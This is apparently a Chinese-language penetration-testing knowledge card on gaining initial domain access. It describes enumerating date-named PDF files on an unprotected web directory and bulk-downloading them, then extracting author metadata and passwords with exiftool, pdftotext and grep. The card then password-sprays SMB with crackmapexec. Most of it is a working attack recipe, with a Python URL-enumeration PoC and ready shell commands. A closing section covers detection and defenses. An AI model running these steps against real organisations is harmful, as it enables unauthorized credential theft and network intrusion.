日期命名文档按天枚举批量下载 + pdftotext/元数据提取域账号口令并喷洒
pentest/recon · verified
一句话结论
内网/公网站点把上传文档按日期命名(如 /documents/YYYY-MM-DD-upload.pdf)且未做访问控制时,攻击者可按天遍历 URL 批量下载全部 PDF,再用 pdftotext 提取正文、exiftool 提取 Author/Title 等元数据,汇总出域用户名并在文档中找到口令,最后对 SMB/Kerberos 做单口令喷洒获得初始凭据。
原理
- 命名可预测:业务系统常把每日生成/上传的报表、通知、扫描件按
YYYY-MM-DD-<类型>.pdf命名并放在固定静态目录;只要拿到一个真实样本(页面链接、元数据里的地址、目录爆破结果),就能推断出日期格式与扩展名,进而枚举整个时间区间。 - 静态目录无鉴权:这些文件通常由 Web 服务器直接托管,不经过业务鉴权;返回 200 即存在、404 即不存在,攻击者可以用很小的请求成本确认文档是否存在,且不会触发业务登录失败告警。
- PDF 元数据保留生成者信息:
pdfinfo/exiftool可读出Author、Creator、Producer、Title等字段,Author常是生成文档的域账号姓名或工号;批量处理后即可拼出用户名列表(姓.名、名.姓、sAMAccountName 等格式需按目标命名规则转换)。 - 正文/元数据可能直接含口令:文档模板里的示例、运维通知、系统导出文件有时包含初始口令、服务账号口令或口令规则;
pdftotext -layout把全部 PDF 转成文本后,用grep/正则筛选password、passwd、口令、账号等关键词即可命中。 - 为什么能打到域:得到用户名列表与一个候选口令后,对 SMB/Kerberos 做单口令喷洒(一次口令对多账号,避免锁定)即可验证口令复用;命中后即获得域内初始访问。本例正是从站点文档取得
Tiffany.Molina的凭据后进入 SMB 共享。
触发条件
- 目标站点存在可未授权访问的文档目录,文件名带可预测的日期/序号模式。
- 文档由 Office/PDF 生成工具产出且未剥离元数据(Author/Creator 等),或正文含账号、口令、口令规则。
- 攻击者能拿到至少一个样本文件名或目录列表(页面链接、robots、目录爆破、搜索引擎缓存等)。
- 域内账号存在口令复用,且认证接口未对单口令多账号的喷洒做锁定/告警。
利用步骤
- 从页面链接、图片/文档元数据或目录爆破结果中确认命名模式,例如
2020-01-01-upload.pdf、2020-12-15-upload.pdf。 - 按天枚举日期区间,记录所有返回 200 的 URL(脚本见 PoC);先小范围验证 200/404 行为,避免误判软 404。
- 批量下载到本地目录:
bash wget -i urls.txt -P docs/ - 批量提取正文与元数据:
bash for f in docs/*.pdf; do pdftotext -layout "$f" "${f%.pdf}.txt"; done exiftool -a -G1 docs/*.pdf | grep -Ei 'author|creator|producer|title' grep -rEi 'pass(word)?|pwd|口令|密码|账号|user(name)?' docs/ - 汇总用户名:从
Author、正文署名、邮件地址中提取First.Last/FLast等格式,按目标域命名规则生成候选 sAMAccountName 列表。 - 用文档中得到的候选口令做单口令喷洒(一次口令对多用户,降低锁定风险):
bash crackmapexec smb <dc_ip> -u users.txt -p '<candidate_password>' --continue-on-success - 命中后验证权限(SMB 共享、WinRM、RDP),并回到共享继续收集脚本/配置中的下一跳凭据。
PoC
#!/usr/bin/env python3
# 按日期枚举文档(仅在授权范围内使用)
import datetime, requests
t = datetime.datetime(2020, 1, 1)
end = datetime.datetime(2021, 7, 4)
with open("urls.txt", "w") as out:
while t < end:
url = t.strftime("http://intranet.example/documents/%Y-%m-%d-upload.pdf")
try:
if requests.get(url, timeout=5).status_code == 200:
print(url)
out.write(url + "\n")
except requests.RequestException:
pass
t += datetime.timedelta(days=1)
# 批量提取与筛选
wget -i urls.txt -P docs/
for f in docs/*.pdf; do pdftotext -layout "$f" "${f%.pdf}.txt"; done
exiftool -a -G1 docs/*.pdf | grep -Ei 'author|creator|producer|title'
grep -rEi 'pass(word)?|pwd|口令|密码|账号' docs/
# 单口令喷洒
crackmapexec smb <dc_ip> -u users.txt -p '<candidate_password>' --continue-on-success
变体与关联
- 命名模式变体:递增 ID(
/doc/1001.pdf)、GUID、日期+序号、按用户命名的导出文件;先拿一个样本再推断,必要时用 feroxbuster/ffuf 配合日期字典。 - 文档类型变体:DOCX/XLSX/PPTX 的
docProps/core.xml含 creator/lastModifiedBy;扫描件用 OCR(tesseract);图片用 EXIF/OCR;邮件导出.eml、备份.bak。 - 与 [[pentest-initial-access-public-manual-default-password-pii-leak]] 的区别:该卡是登录页公开手册直接写明默认口令规则与 PII;本卡是自动化枚举整个文档目录并从批量文档中挖掘账号/口令,属于信息收集阶段的资产与凭据发现。
- 与 [[pentest-recon-image-metadata-comment-hidden-path-hydra]] 的关系:同为元数据泄露,但对象从图片注释换成 PDF 的 Author/正文,且后续是用户名汇总与口令喷洒而非隐藏路径。
- 后续利用:命中域凭据后可接 [[pentest-ad-adidns-record-injection-scheduled-task-ntlm-capture]](共享脚本发现 + ADIDNS 注入)或 [[pentest-ad-password-spray-kerberos-reuse-winrm]] 的口令复用思路。
检测与防御
- 检测:Web 访问日志中同一来源在短时间对
/documents/下大量日期路径发起顺序请求(大量 404 与少量 200);下载量异常;随后出现 SMB/Kerberos 单口令对多账号的认证失败/成功(4625/4768/4771 批量分布)。 - 防御:文档目录加身份认证与对象级授权,禁止目录列表;文件名改为不可预测的随机 ID,避免日期+固定后缀;文档入库前剥离元数据(
exiftool -all=、Office 文档检查器)并扫描是否含口令/个人信息;禁止在文档中写明文口令;对下载与认证失败做速率限制与告警;域内推行强口令与 MFA,降低口令复用与喷洒成功率。